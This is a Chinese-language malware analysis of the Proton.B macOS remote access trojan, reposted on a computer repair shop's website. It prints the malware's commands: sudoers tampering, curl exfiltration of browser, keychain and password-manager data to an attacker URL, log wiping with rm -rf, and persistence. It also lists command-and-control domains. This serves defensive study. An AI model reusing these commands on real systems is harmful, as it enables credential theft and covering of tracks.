锦州市广厦电脑维修|上门维修电脑|上门做系统|0416-3905144热诚服务,锦州广厦维修电脑,公司IT外包服务
topFlag1 设为首页
topFlag3 收藏本站
 
maojin003 首 页 公司介绍 服务项目 服务报价 维修流程 IT外包服务 服务器维护 技术文章 常见故障
锦州市广厦电脑维修|上门维修电脑|上门做系统|0416-3905144热诚服务技术文章
新型木马Proton.B恶意软件会在你的Mac OS上干些什么坏事

作者: 佚名  日期:2017-05-20 07:23:24   来源: 本站整理

 近期,黑客又开发出了一种Proton远程访问工具(RAT)的新型变种。Proton是一个针对macOS系统的恶意软件,它可以窃取密码、记录键盘按键数据和提取文件,攻击者甚至还可以利用它来远程登录目标主机。

写在前面的话
为了研究这个恶意软件变种,我下载了一个植入了Proton的HandBrake样本。这个样本感染的是Proton.B,也就是Proton的变种版本。我对该恶意软件的运行机制进行了分析,并使用逆向工程技术对其代码进行了研究。我通过研究发现,Proton的开发者使用了多种技术来干扰安全研究人员的分析,例如对字符串进行加密,以及在多个分散文件中存储恶意脚本代码等等。
注:HandBrake是目前一款非常流行的视频编码应用。安全专家Patrick在他所发表的文章中详细描述了攻击者如何将Proton嵌入了HandBrake之中,因此本文不再对其进行赘述。
Proton的工作机制
我们首先需要处理的恶意软件名为activity_agent。在反汇编工具中打开这个文件之后,你会发现它采用的编程语言为Objective-C,这也是macOS平台“原生”的编程语言,而很多其他的恶意软件使用的是C++或者是其他的一些跨平台方案(例如QT)。
接下来,我使用IDA Pro对文件的二进制源码进行了分析。在这个过程中,我发现了很多有意思的东西,例如SSH隧道技术等等,但是我在测试这个恶意软件样本的过程中却并没有看到SSH隧道技术的使用。

当文件被执行之后,它会解密一个名为“.hash”的文件,这个文件位于bundle下的Resources目录中。

这个文件中包含有大量字符串子集,而activity_monitor源码将会加载这些字符串数据,这也是很多恶意软件开发者为了躲避安全研究人员和反病毒产品的检测而经常会用到的一种简单的字符串隐藏技术。
解密完成之后,文件“.hash”中包含有下列数据:



我们可以看到文件中使用到了大量的“%@”,这是Objective-C特有的语句标识,表示的是NSSTRING。注:Objective-C用“%@”来格式化字符串。
当这个文件被执行之后,会弹出一个看似合法的对话框,并提示用户输入密码才可以安装HandBrake的应用组件,但对话框中的提示文本很明显就是文件“.hash”中的内容。

Mac用户在每一个对话框中输入密码之前,一定要三思而后行。因为通过对话框的形式来要求用户输入密码是一种非常常见的社会工程学技术,攻击者可以利用这种方法来欺骗用户交出自己的密码。大家也都知道,很多恶意软件攻击都会使用这种方法。由于绝大多数环境下目标用户都在sudoers列表之中,因此攻击者只要拿到了用户的密码,就可以将自己的权限提升到root。
当用户输入了自己的密码之后,该恶意软件会立刻通过下列命令检测密码的有效性:
‘/bin/sh’, ‘-c’,“echo ‘qwer1234’ | sudo -S echo success;”
验证成功之后的下一步就是通过下列命令禁用/etc/sudoers/中的“tty_tickets”功能:

‘/bin/sh’,‘-c’, ‘echo \’printf “\\033[8;1;1t”; echo “qwer1234” | sudo -S sh -c “echo\’Defaults !tty_tickets\’ >> /etc/sudoers”; killall Terminal; sleep 1;\’
tty_tickets是从macOS Sierra开始默认开启的一项功能,每当用户在一个单独的终端页面执行一个“sudo”命令时,它都会要求用户输入自己的密码。如果禁用了这项功能,那么用户只需要输入一次密码,就可以在多个新的终端窗口(tty)中执行“sudo”命令了。我认为,tty_tickets的禁用将会方便恶意软件的开发者执行脚本任务,因为只需要输入一次密码就可以在不同的终端窗口中执行sudo命令了。
当我在IDA Pro中查看activity_agent的字符串部分时,我迅速发现了一个公共密钥。

这个密钥会在下面这行命令中使用到:
 ‘/bin/sh’,‘-c’, “echo ‘—–BEGIN PUBLICKEY—–\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwUP19DdW2NlkkdovqqwF\n+r3sBaa

mka42zVMGa+COUCIysrVhVJIv4nmc57TLxgG8dsg+G0o0NQ75n898b04l\nYGve3gXGWJ

8Y5OTJ16+RA4OtKAiO8v7qEGnQ/QpSzrLZPU3Yd60bAltYSvCCiOdB\nOKhOAiag0H39F2k

5ea4zxt6TNDksW/o3+HcjzA4yy+C1tp2Cr4X37O5XMVZPWpMk\nsIXPazh91tr0TJ2VFyx

4btnDPajeOzhcKUA05Wrw+hagAZnFU9Bajx3KvdTlxsVx\nLmRc5r3IqDAsXTHH1jpmWMDiC9IGLDFP

rN6NffAwjgSmsKhi1SC8yFHh0oPCswRh\nrQIDAQAB\n—–ENDPUBLIC KEY—–‘ > /tmp/public.pem; openssl rsautl -verify -in/Users/test/Downloads/Proton/Proton.B/activity_agent.app/Contents/Resources/.tmpdata-pubin -inkey/tmp/public.pem; openssl rsautl -verify -in/Users/test/Downloads/Proton/Proton.B/activity_agent.app/Contents/Resources/.tmpdata-pubin –inkey
密钥存储在/tmp/public.pem文件之中,当这个密钥存储完毕之后,恶意软件会解密一个名叫“.tmpdata”的文件,这个文件同样在Resources目录中。注:在macOS和Linux这种使用了POSI文件系统的平台中,文件名前面有”.”表示这是一个隐藏文件。
解密后的“.tmpdata”文件中包含有恶意软件的“许可证”(JSON格式),许可证数据为它的“有效期”以及各种校验码。
{“expiration_date”:”2017-05-1023:59:59 +0000″,”grace_period”:”25″,”bundle_name”:”chameleo”,”os_version”:”10.x”,”checksum”:”

128814f2b057aef1dd3e00f3749aed2a81e5ed03737311f2b1faab4ab2e6e2fe”}
接下来,恶意软件会进行一次测试来确定已经成功接入了互联网。(与Google的DNS服务器-8.8.8.8建立一条TCP链接,时长20秒)
‘/bin/sh’,‘-c’, ‘nc -G 20 -z 8.8.8.8 53 >/dev/null 2>&1 && echo success’.
恶意软件还会尝试与下面列表中的其他域名进行连接:
handbrakestore.com
handbrake.cc
luwenxdsnhgfxckcjgxvtugj.com 
6gmvshjdfpfbeqktpsde5xav.com 
kjfnbfhu7ndudgzhxpwnnqkc.com 
yaxw8dsbttpwrwlq3h6uc9eq.com 
qrtfvfysk4bdcwwwe9pxmqe9.com 
fyamakgtrrjt9vrwhmc76v38.com 
kcdjzquvhsua6hlfbmjzkzsb.com 
Ypu4vwlenkpt29f95etrqllq.com
随后恶意软件会检测当前的时间和日期,这里非常有意思,它好像并不信任目标设备上的设置,它会与外部服务器(Google主机)单独进行一次时间同步,很可能是因为攻击者想要防止研究人员对本地设备时钟动手脚。恶意软件通过创建一个新的环境变量$hcresult来获取时间和日期,这个变量可以存储Google返回的内容。执行命令如下:
hcresult=`curl -sL https://script.google.com/macros/s/AKfycbyd5AcbAnWi2Yn0xhFRbyzS4qMq1

VucMVgVvhul5XqS9HkAyJY/exec`
接下来,恶意软件还会检测下列路径中的文件是否存在,如果存在,则说明Proton.B的安装已经完成。
~/Library/VideoFrameworks/.ptrun
如果许可证仍然有效,那么Proton.B将会创建一个新的目录:~/Library/Renderfiles,并将它的bundle文件拷贝到这个目录中,然后删除初始执行地址中的所有bundle。
接下来,它还会创建另一个目录:~/Library/VideoFrameworks。这个目录将会存储所有窃取来的数据,随后这些信息将会被发送给攻击者。
根据我的研究发现,它会窃取以下凭证:
1. Google Chrome资料和所有保存的密码,包括cookie、保存的表单数据和密码;
2. Safari资料和所有保存的密码,包括cookie、保存的表单数据和密码;
3. Firefox资料和所有保存的密码,包括cookie、保存的表单数据和密码;
4. Opera资料和所有保存的密码,包括cookie、保存的表单数据和密码;
5. 各种钥匙串数据;
6. 1Password数据库

每一个类别的密码将会保存在相应的zip文件中:
Chrome数据保存在CR_dif.zip中;
Firefoxs数据保存在FF.zip中;
Opera数据保存在OP.zip中;
下列目录中的钥匙串数据保存在KC.zip中:
/Library/Keychains
~/Library/keychain
下列目录中的Gnupg和iPassword数据保存在GNU_PW.zip中:
~/.gnupg
~/Library;/Application support/1Password 4
~/Library;/Application support/1Password 3.9
而所有的这些文件又会全部压缩到一个名叫Proton.zip的文件中,这个文件保存在~/Library/VideoFrameworks目录,随后会被发送给攻击者。
当所有的凭证数据压缩完成之后,恶意软件会使用“curl”将压缩包发送给攻击者-url: http://api.handbrake.biz/api/init:

当所有的压缩包创建完成之后,恶意软件还会执行多次“killall”命令并关闭下列应用进程:
Console
Terminal
Wireshark
这一步会大大增加研究人员对这款恶意软件的分析难度,一个简单的应对方案是使用tee命令将日志输出到其他文件,使用iTerm来代替Terminal(终端),然后使用tcpdump或Tshark来代替Wireshark。¯\_(ツ)_/¯
完成了上述的所有操作步骤之后,恶意软件会将其本身的bundle拷贝到~/Library/RenderFiles/activity_agent.app中,然后通过添加下列LaunchAgent来实现在目标设备中的持久化感染:~/Library/LaunchAgents/fr.handbrake.actibity_agent.plist。
当然了,没有清除日志记录的恶意软件不是一款好的恶意软件。Proton.B还会通过下列命令来清除系统的日志数据:
sudo -S rm -rf /var/log/* /Library/Logs/*
缓解方案
感染了Proton怎么办?如果你感觉你的凭证已经被攻击者窃取了,请尽快修改你所有的账户密码,包括所有的在线服务账号。
总结
目前,macOS平台上的绝大多数恶意软件进行的都是一些简单的恶意广告活动或攻击活动,而这也是我们第一次能够拿到一个真实的恶意软件样本并对其内部运行机制进行详细的分析。不过遗憾的是,在整个研究过程中我们没能到任何交互式命令的执行,而且也没有看到攻击者与我的研究机器初始化新的连接。
 



热门文章
  • 机械革命S1 PRO-02 开机不显示 黑...
  • 联想ThinkPad NM-C641上电掉电点不...
  • 三星一体激光打印机SCX-4521F维修...
  • 通过串口命令查看EMMC擦写次数和判...
  • IIS 8 开启 GZIP压缩来减少网络请求...
  • 索尼kd-49x7500e背光一半暗且闪烁 ...
  • 楼宇对讲门禁读卡异常维修,读卡芯...
  • 新款海信电视机始终停留在开机界面...
  • 常见打印机清零步骤
  • 安装驱动时提示不包含数字签名的解...
  • 共享打印机需要密码的解决方法
  • 图解Windows 7系统快速共享打印机的...
  • 锦州广厦电脑上门维修

    报修电话:13840665804  QQ:174984393 (联系人:毛先生)   
    E-Mail:174984393@qq.com
    维修中心地址:锦州广厦电脑城
    ICP备案/许可证号:辽ICP备2023002984号-1
    上门服务区域: 辽宁锦州市区
    主要业务: 修电脑,电脑修理,电脑维护,上门维修电脑,黑屏蓝屏死机故障排除,无线上网设置,IT服务外包,局域网组建,ADSL共享上网,路由器设置,数据恢复,密码破解,光盘刻录制作等服务

    技术支持:微软等